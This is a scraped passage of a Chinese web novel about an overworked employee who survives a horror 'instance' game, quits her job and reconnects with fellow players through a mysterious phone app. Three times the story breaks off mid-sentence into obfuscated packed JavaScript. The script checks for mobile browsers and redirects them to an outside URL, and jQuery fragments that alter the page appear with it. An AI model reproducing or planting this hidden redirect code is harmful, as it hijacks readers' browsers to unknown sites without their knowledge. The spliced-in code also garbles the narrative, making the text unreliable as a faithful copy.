35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486415|202033||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>彼时的她,稚嫩地伸张自己权利,而那位领导笑眯眯的看着她,眼里却没有她,只是洋洋得意地说了一句:“你不干,有的是人干。”
君宁突然内心就腾起了掀翻这个鬼地方的冲动和愤怒。
真是,该死的职场。
明明是嘈杂无比的环境,团队长的声音还是清晰地传入了君宁的耳中:“听我的,只要你帮我一个忙,我就给你们指一条离开的明路。”
君宁没有回应。
团队长的表情扭曲了一瞬,他实在是无法从君宁的那双死鱼眼中看出任何情绪。
但眼下也没有别的办法。
里世界的火焰是概念性的火焰,是亡魂记忆深处的火焰,非表世界的一切可以熄灭的。连他也拿这火没有任何办法,唯一的办法只有……
团队长的目光落在地上的那节断肢之上。
所有被规则禁锢的鬼怪都未长出神志,唯有一只灵魂从规则裂缝逃逸而出。死前怨念化作了滔天的心火,在里世界蠢蠢欲动。
只要将那个灵魂毁灭,一切又会回归到他的掌控:“你只需要把那节断肢丢进火海之中。”
“不要听他的!!”
一道本不应该属于这个空间的声音打断了他。
团队长这才发现,君宁胳膊下夹着一个眼熟的红色座机。
又听见那道有些耳熟的声音响起:“看见玻璃外面的那些影子了吗?那都是我的同事们,把他们放进来,这些冒牌货不足为惧。”
团队长心中一惊,立刻意识到,电话那头的人到底是谁。
他本来已经想办法把2/3的金彩旗送回里世界了啊!这群玩家是什么时候把厅堂的座机顺走的!?
简直是小偷!!
又听见君宁叹了一口气:“你这个工贼,总算是干了一回正事。”
里世界的金彩旗:“?”听不太懂,但好像在骂她。
根据金彩旗的提示,君宁转头看向了门口,透过那一整面玻璃墙看去,缭绕的雾气之中是绰绰人影,脑袋紧挨着脑袋,有些急切地往里面张望。
想到那些到底是什么东西,君宁鸡皮疙瘩都冒起来了。
虽然知道解决的方法了,但要如何适时又是一个问题。在短短几分钟内,厅堂已经变成了一片火海。汗水滴滴答答地顺着她的额际流淌下来,把她的眼睛刺得火辣辣地疼。
躲在柜台最里面的团队长也好不到哪里去,他的脑袋凹下去一块,看起来快要融化了。
事不宜迟,君宁的目光落在反锁的铁闸门之上。闸门自动上了锁,而通往闸门的道路已然成为了一片火海。
君宁紧张地吞咽了一口口水,问一个世界之隔的金彩旗:“这扇门为什么是上锁的。”表里世界的时间是同步的,按理说,现在是银行的营业时间,大门应该是敞开的。
里世界的金彩旗翻了一个巨大的白眼:“你想毁了厅堂,副本当然有应对措施。”
君宁的声音悠悠地从话筒里传出来:“那为什么神秘人却要主动烧了里世界呢?”
金彩旗愣了一下,下一瞬,她想到了什么,脸色剧变。
12. 第 12 章
符佳佳只看见金彩旗面露狰狞之色,咚咚咚地朝自己杀了过来。
吓得她抱着唐青连声尖叫,只感觉一阵阴风袭来,手里的手机被金彩旗夺走了,怀里的唐青看起来万念俱灰。
危险解除,符佳佳不好意思地松开了唐青:“呃,对不起。”
“没事。”唐青麻木地揉了一下耳朵,突然很想念君宁。
金彩旗头发凌乱,眼珠子布满可怖的血丝,拿着手机说道:“我有一个办法——”
君宁的声音同时从话筒里传来:“有个怪物扶着闸门,你们帮我换个火种过来。”
话筒的两侧,一人一鬼都愣住了。
她们想到一起去了!
既然如此,后面的沟通就变得顺畅了许多。
金彩漆眼疾手快,打开手机自拍界面,对准了一个在厅堂里疯跑的鬼怪。那只鬼怪已经被烧成了焦炭版的“呐喊”,身上的火焰窜得比半个人还高。
表世界,当凭空出现了一个只有手机大小的镜子的时候,君宁立刻扑上去,指尖从镜子边缘擦过,将角度调整到正确的位置。
镜子上倒映出一道紧贴着铁闸门的身影。
与此同时,里世界的那道明亮的身影迅速消失,取而代之的是一个一脸惊恐的美妆蛋NPC。
地上的火焰未灭,它直接被丢入了火海,那张圆溜溜的脸瞬间就融化了。
不一会,那个庞大的身躯就如同融化的雪糕一样瘫软下去,化成了一滩粘稠的液体。
液体一路流淌到了金彩旗的脚下。
金彩旗低下头,看见了倒映在液体表面的自己,那张惨白的脸上是大仇得报的快意。
火舌如同品尝到了美味的食物一般,舔舐过闸门,瞬间蔓延到了天花板之上。
团队长的眼中倒映着从天而降的火星,脸上的侥幸消失不见,取而代之的是万劫不复的绝望。下一刻,他的神情变得狠毒,两只手的指甲瞬间长长变尖,朝着江子苍和周晓明的心口捅去!
就在这千钧一发之际,铁闸门和玻璃幕墙轰然倒塌,在飞扬的尘土之中,露出了一张又一张麻木的面孔。他们嘴巴翕动着,似乎在不断地重复着:“请支持我一下业绩”“请支持我一下业绩”。听起来和街边乞丐嘴里的“行行好吧。”“行行好吧。”也没有什么两样。
君宁san值狂掉,还是没忘记发挥人道主义光辉,调出了指甲钳,帮团队长修剪了一通,将狂暴的掏心手变成了温柔抚摸。
两位玩家却难以承受这样的“温柔”。
周晓明被摸得双眼一翻,吓晕过去。江子苍稍微好一点,但也双腿一软,瘫倒在地。
那些看起来脑子不太好的鬼怪在进入厅堂的那一瞬间变了,他们浑浊的眼睛变得清澈,又逐渐转为怨毒。他们歪着脑袋思索了片刻,十几双眼睛不约而同地看向了柜台里面。
好在没看自己,君宁松了一口气。
他们露出了一个诡异的微笑,与其完全相反的是,柜台玻璃之内的团队长抖得跟筛糠一样。
下一秒,他们如同离弦之箭一般,朝着团队长俯冲过去。
火焰在那一瞬间都让开了道,只听见玻璃破碎的一声巨响,团队长发出了惊恐的尖啸,尖啸声很快就戛然而止,他被十几个鬼怪撕成了碎片。
君宁仰起头,看见火焰攀上了墙壁,将上面的一条条警告和规则焚烧殆尽。
像吊盆少了藤曼的牵绊,整个厅堂都变得摇摇欲坠。
话筒里传来金彩旗的声音,她似乎发出了一声喟叹。那声音好像穿越了时空,传播到了当下的时候已经轻得听不清了。
紧接着是符佳佳兴奋地呼喊声:“有路了!有路了!我们可以离开这里了!”
君宁看向门外,厅堂外面的雾气散了,一条和副本世界格格不入的小径凭空出现在眼前。
所有不合理的规则都被洗涤一空,荒诞抽象的表世界逐渐斑驳褪色,露出了真实的样子。
那是一条雨后天晴的小径,小径发着温暖的微光,看起来就十分安全可靠的样子。
君宁没有回头,踏上了离开的路。
……
“……早、早上好?”
耳边的声音变得清晰,“君宁,你还好吗?”
君宁艰难地睁开了眼睛,模糊的视野中是她的办公桌、笔记本电脑和打撒的水杯。
等等,打撒的水杯!!
君宁猛然惊醒,差点从椅子上跳起来,刚坐直,就一阵眩晕。她感觉整个肢体都像灌了铅一样,挪动一下都十分艰难。
她试了一下电脑,电脑彻底死机了,这意味着她昨晚的工作全部泡汤了。
站在一旁的女生脸上露出同情之色,安慰道:“可能是电脑进水了,你快找个维修店看看,指不定文档都存好了。”
君宁却没什么信心,因为昨晚她死的太突然了,水杯大概率是猝死的时候打倒的,那时候她并没有保存工作进度。
就在这个时候,总经理从后面的办公室探出头来,熟练地运用着那充满压迫感的话术:“今天下午就要用的东西,你别和我说你没保存?要是工作都不记得保存,我看你也不用来上班了!现在这个行情,有的是人来接替你。”
每听见一个字,君宁的脑子就越疼一分,到了最后耳边变成了混乱的嗡鸣。
她突然忍无可忍了,猛地一拍桌子:“不干就不干了!!”
耳边的嗡鸣声戛然而止,君宁抬起头,看见总经理张大了嘴,很震惊的样子。连站在一旁的女生都被吓得后退了一步。他们看着她,就像在看一个陌生人。
君宁忽然有点想笑,她也真的露出了一个笑容:“不是多的是人干吗?那你去找他们吧,我不干了。”
“什、什么意思?”总经理慌乱道。
“就这个意思啊,辞职了,谁爱干谁干去。”君宁把死机的电脑拿起来,倒掉上面的积水,弹了弹,胡乱塞进自己的包包里。她有些心疼,就这破公司,甚至都不配电脑,害她自己电脑遭了殃。
曾经她为生计焦虑不已,总觉得gap就被判了死刑,哪怕不喜欢这份工作也要
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486416|202033||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
坚持干满两年、骑驴找马。但死过一次,她悟了,有什么能比她的健康更重要。
她有十几万存款,不富裕但也不贫穷,怎么不能给自己放一个短假呢?
君宁说完之后,不再理会办公室的两个人,径直朝办公室外面走去。
等走出了办公楼,阳光洒在她的身上的时候,她甚至觉得有些恍惚。
她原来早就忘记了,上午暖阳是有温度的。
*
半小时之后,市中心区,路边的便利店。
君宁揉了揉自己新鲜的黑眼圈,一遍一遍地检查自己的手机。
——她的银行app呢?她的19.8万存款呢?
都变成了这个盗版橙色软件是闹哪样???
“那个,您还要这几样商品吗?”售货员举着扫码器,试探性地又问了一句。
“不要了。”君宁猛然惊醒一般,脸一下变得通红,“对不起啊,这些东西我不要了。”
她几乎是从便利店落荒而逃。
等走到大街上,风一吹,她才悲痛万分地意识到,存款消失不见了,她现在是个分文没有的穷光蛋了。
更糟的是,她刚霸气地提了离职。
……现在回去还来得及吗?
“啊!”君宁狠狠闭上了眼睛,一只手扯住自己的头发。
不行,不能这样想!哪怕没钱,也不能否认那份工作压榨到她连命都没有了。她怎么也有了“他不家暴我的时候也挺好的”的腐朽思想了呢?
但是……君宁有些悲伤,她现在真的好饿啊。
就在这时,她忽然听见了一个疑惑的声音:“诶?我手机怎么变成这样了。”
如同久旱逢甘露,她猛地转过头,看向了隔壁路边。
一位身穿香奶奶、手提戴妃包的年轻靓妹有些疑惑地戳着自己的果机16promax。
君宁的那双死鱼眼一亮,跌跌撞撞地跑到美女身旁,发出如同叫魂一样的声音:“符佳佳~~”
“啊啊啊啊!!!!!”符佳佳爆发出和副本里如出一辙的尖叫声,等看清楚身后的是什么人之后,才惊魂未定地拍了拍胸口,“宁宁姐,好巧啊,你怎么像刚死过一样?”
君宁:“……话能这样说的吗?”
“哈哈。”符佳佳尴尬地笑了笑,“更正,应该是我们都刚死过一遭。”
符佳佳难弟看难兄两眼泪汪汪,她一把拉住了君宁的手,压低了声音:“但我刚才还以为那只是一个梦呢?妈呀,原来全是真的。”
君宁心下了然,看来是小妹妹死得不那么明显。
符佳佳又说:“宁宁姐,我的手机和以前完全不一样了,我想打个车都打不到,你看看你的手机。”
君宁举起手机,和符佳佳不同的是,她还有个碍眼的橙色软件。
符佳佳叹了一口气:“哎,不过也没关系,我叫我家司机来吧。手机嘛,换一部新的就好了。”
君宁:“……”这话让牛马听了真的好么。
她嫉妒了,真的。
13. 第 13 章
第13章
等君宁来到符佳佳独居的大平层的时候,还没有从对方的过分富有中回过神来。
符佳佳拆了新手机,收了爸妈打来的钱,又点好了外卖,一回头,才发现君宁仰倒在沙发上,胸脯有规律地上下起伏着,竟然已经睡着了。
符佳佳看着对方双眼之下浓郁的黑眼圈,皱眉感叹了一声:“过的什么苦日子……”
下一秒,她的手机屏幕亮起,显示:妈妈。
她冷着脸把电话挂掉,刚挂掉,电话又打了过来。
符佳佳犹豫了片刻,最后还是走到阳台,接通了电话。
她还没来得及说话,就听见话筒里传来的质问声:“佳佳呀,听你张叔说,你又交了什么不三不四的朋友?”
符佳佳顿感窒息,深吸了两口气,才耐着性子开口:“妈!你能不能不要天天盯着我做了什么、见什么人了。再说了,人家怎么就不三不四了?”
“你这孩子,怎么和妈妈说话的呢?”符母不满,“你张叔都说了,那女孩头发乱糟糟的,整个人看起来萎靡不振的嘞,一看就不是好人。”
符佳佳道:“妈,你以后能不能不要以貌取人?人家那是工作太累了,才下班,觉都没睡好,肯定没有精神呀。”
符母呵了一声:“那肯定不是什么好工作,哪里的工作需要加班那么久的,我就从来没见过。”
刚醒来的君宁:“……”感觉被击中。
“行行行,你说的都对。”符佳佳翻了个白眼,“没事干找你好闺蜜喝下午茶去,不要老管我。”话毕,她气鼓鼓地把电话挂了。
回过头,她对上了君宁的目光。
符佳佳有些心虚,攥紧了手机:“宁宁姐……”
君宁摆摆手:“没事。我现在不太在乎这个。”
她本来倒是挺在意体面的工作,过了一个副本,现在看来也就那样。每份工作大概都有它难堪的一面,更重要的是自己的健康和生活。
人与人的生活的鸿沟并非一份体面的工作可以抹平的,而是投胎……比如,她和符佳佳,说不羡慕都是假的。
君宁收回自己乱飞的思绪,示意符佳佳坐到自己身边:“在车上的时候,我研究了一下我的手机,发现原本的手机系统已经被卸载了,重新下载了一个新的系统——小X的人生。”
两部品牌和型号完全不一样的手机摆在一起,点亮屏幕之后却是相似的屏保。
深紫色的深渊之前站着一个剪影,仔细看,就是君宁和符佳佳。而手指点击那道剪影的时候,就会有黑色的触角从四个角落翻涌起来,包裹住中间的剪影,将剪影拖入深渊。
手机里面变了模样,只剩下一个主页面和寥寥几个APP。
符佳佳一个个看过去:“欲望里程、小X论坛、旅程时钟……你比我多一个盗版APP。”
大概是听见了符佳佳的声音,君宁手机里橙色的APP剧烈抖动了一下,把符佳佳吓了一大跳:“它还监听!!”
【你才需要监听,老子可没那么低端。】
这次轮到君宁吓了一跳,陌生女孩的声音仿佛贴在她的耳边响起,她身上的鸡皮疙瘩一下就蹿了起来。
君宁默不作声地观察了一下,发现符佳佳没有尖叫,说明这个声音只有她才能听见——看来这个声音来自那个屁屁踢。
君宁松了一口气,心想:之前她还以为它是个猥琐男呢,说话味那么冲。幸好不是。
【?????你他妈才是猥琐男呢,你全家都是猥琐男。】
【这样讲话,谁听谁不这样觉得。】
脑海中小女孩气急败坏的声音戛然而止。
君宁乐得清净,开始研究另外几个APP。
第一个是欲望里程,君宁和符佳佳的里程数是一样的,都积累了458公里的行程,显示点亮了一个地点:职海沉浮。地图上其余地点都在迷雾之中,看不清楚。
获得成就【菜鸡启程】,君宁点亮一个技能【王牌汇报者】,符佳佳获得一个称号【实习生-八卦传播者】。
另一个APP则是小X论坛,一看就是供他们这些倒霉玩家交流信息的地方。
君宁略有些扭曲的欣慰,看来这次的倒霉蛋不止她一个。
点开论坛,一个人物卡牌会弹出来,在屏幕中间翻转,最后变成个人画像。君宁是一个趴在工位上的黑眼圈小人,而符佳佳则是一个被眼睛盯着的卷发小人。
两人分别给自己取了名字,君宁叫“今天也不想上班”,符佳佳叫“一加一大于二”,她说这表明了她要纠缠君宁到底的决心。
君宁:“?”
点进去之后是老式论坛,页面做的很简陋。
置顶的一篇贴子是“新手指南”。
发贴的时间很早,且禁止跟贴。本来就不长的贴子因为权限设置更加精简了。
第一行,只有死人才会进入这个游戏,通关副本是摆脱既定的命运的唯一办法;
第二行,通关副本之后,通常存在5-7天的空档期,空档期结束,将被拉入新的副本游戏,在副本前一日手机会收到短信提醒;
第三行,是马赛克。
“……”
这多少有点离谱了。
那头的符佳佳却已经翻到了“征友启事”,楼主的ID叫做小鱼青青。
“关于我:
严肃认真、性格内敛,话不多,但是配合默契,擅长解读你的未尽之言。
希望你:
希望你要不是没经历过社会毒打的青春洋溢,要不是带着加班过度的淡淡死感,后者最好是拥有一双死鱼眼。”
底下的跟帖都是:
“这是上世纪的老古董吗?”
“好久没有见过这么复古的文案了。”
“这年头,老年人都要被拉来过副本了吗?”
符佳佳一边往下翻,一边嘀咕道:“什么又要青春洋溢,又要活人微死,还要什么死鱼眼……”
话音未落,她转过头,和君宁四目相对。
君宁顶着两团半永久黑眼圈,眼中没有一丝活人的光:“?”
符佳佳:“……”
她忽然知道没经过社会毒打的青春洋溢指的是谁了。
符佳佳和君宁一合计,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486417|202033||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
基本上确定了小鱼青青就是唐青。或许是为了让她们更好辨认,她才在自己的昵称中带上了自己本名。
符佳佳用自己的号去添加她,结果等了好一会都没有通过,一扭头,发现君宁一加就秒过了。
小鱼青青:“宁姐?”
今天也不想上班:“一加一大于二是符佳佳。”
符佳佳这才收到了好友通过的提示,一加上她就发出不解的感叹号:“为什么通过宁姐不通过我!”
小鱼青青:“她太明显了。”
君宁又拉了个群,三人一对。发现君宁和符佳佳是一个城市的,但是唐青在隔壁城市。她是一名上市公司的工程师,平时为人比较严谨。昨天晚上加班,从郊区的工厂回家,怎么也没想到,会在打车的路上被车撞死。
唐青很气愤:“醒来的时候,我一个人躺在郊区的大马路上,那人竟然肇事逃逸了!!”
她本应该血肉模糊,但醒来的时候发现自己毫发未伤,去警察局里调监控也没看见自己被车撞的画面。只看见在一辆车开过之后,她径直走到了马路中央,然后——
席地而睡。
陪她调监控的警察小哥一脸莫名地看向了她,眼中藏着深深的疑惑。
最后,她收获了一顿警告,以及一句临行前的关怀。
警察小哥指了指自己的脑子:“工作再忙,也要去医院看看。”
唐青:“……”
根据论坛的经验贴,第一次过副本的同伴,有很大的概率在前三关再次相遇。等三关结束之后,就可以邀请同伴进入副本,一起通关。但是如何彻底摆脱游戏,却没有任何记载。
符佳佳的说法是,往好处想,摆脱游戏就彻底看不见这个鬼东西了。
当然,这只是一方面,这个事情仅仅说明,进入游戏和离开游戏都是一件极其突然的事情。
三人最后拉了一个小群,在群里商量接下来的安排。
因为唐青没有对工作那么苦大仇深,暂时还不准备辞职,只是打算骑驴找马,过段时间再到S城和两人线下面基。
君宁因为辞掉了工作,白天暂时空闲了下来。符佳佳死皮赖脸地让她留下,而君宁本人,因为钱包空空,不得不顺水推舟地住了下来。
之前租的房子,也转租挂了出去,寄希望于能回一点血。
地处热带S城,夜晚也算不上清凉。
君宁坐在符佳佳家里的飘窗之上,看着外面的车水马龙,忽然想起昨晚还在和闺蜜聊天。
她打开熟悉的聊天框,聊天还停留在昨天的那句。
“感觉黑眼圈都掉到地上去了。”
“想死。”
闺蜜并没有回复。
她愣了一下,她来自重组家庭,和家里人不亲近,这不仅仅她大学以来最好、也是唯一的朋友,也是她在这个世界上最熟悉的人。
闺蜜不可能一整天都不回复她的微信的。
是和她一样出什么事了吗?
君宁的心砰砰直跳,连忙再发了一个消息过去。
哪里想到,那边只秒回了三个字。
“你是谁?”